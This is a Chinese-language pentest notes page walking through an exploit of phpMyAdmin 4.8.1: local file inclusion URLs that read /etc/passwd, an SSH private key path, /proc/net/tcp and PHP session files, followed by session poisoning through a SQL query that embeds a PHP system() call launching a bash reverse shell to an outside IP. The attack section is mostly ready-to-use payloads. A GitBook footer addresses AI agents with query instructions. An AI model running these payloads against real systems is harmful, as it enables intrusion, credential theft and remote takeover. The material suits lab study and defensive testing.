> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1（RCE）

**phpMyAdmin 远程代码执行漏洞识别**

在识别出 phpMyAdmin 4.8.1 版本存在漏洞后，使用 SearchExploit 查找匹配的利用方式并确认 [远程代码执行](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) 路径时也会极其有帮助。

<figure><img src="/files/87294a142a3df59a74d19c0e6aefc162dba28165" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2d063f6fe3998e0c4cc3a50540cb0372fcf131d3" alt=""><figcaption></figcaption></figure>

## 远程代码执行漏洞

通过在 URL 中注入以下脚本来利用远程代码执行路径以读取 `/etc/passwd`:

<figure><img src="/files/071ddc8b72f86381c6f60d2319541d3b077d6fdf" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/ff6a9e0e8b809b6c82c59de89ad967b34cfcb529" alt=""><figcaption></figcaption></figure>

**尝试恢复 `admin` 用户 SSH 私钥**

尝试访问 `admin` 用户的 SSH 私钥，使用以下 URL，但返回错误：

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/4831e6b7a3da4c389f56caf22653e838a7b63ee9" alt=""><figcaption></figcaption></figure>

**内部私有网络端口枚举**

使用以下 URL 通过 `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/aaf2ecbfd1b3fc81aa62be2dc861492d54a31c69" alt=""><figcaption></figcaption></figure>

将这些端口保存到一个 `数据` 文件中，以供后续分析。

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/3d8158991c1f7e328fc5d45741c6c31e29e9b438" alt=""><figcaption></figcaption></figure>

**识别包含 phpMyAdmin 会话的目录**

通过查看脚本，识别包含 phpMyAdmin 会话的目录：

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/e4982882d802f2e7cb129d045e7d072701afcf57" alt=""><figcaption></figcaption></figure>

## phpMyAdmin 命令注入

**使用 phpMyAdmin 会话 Cookie 进行命令注入**

<figure><img src="/files/1e3b228121b9186da433d44438e39d057874d0e3" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/54c1a445633b52f822f0ed51e48bcef01607caa0" alt=""><figcaption></figcaption></figure>

#### 该文件解析来自查询的命令。

```sql
SELECT 'testing';
```

<figure><img src="/files/0ec3579593d6fcf00d8764522511256275cd694c" alt=""><figcaption></figcaption></figure>

**通过 SQL 命令注入获取一个** [**反向 shell**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**最终成功访问机器：**

<figure><img src="/files/443801922d60410ac709d07085288415784fd865" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.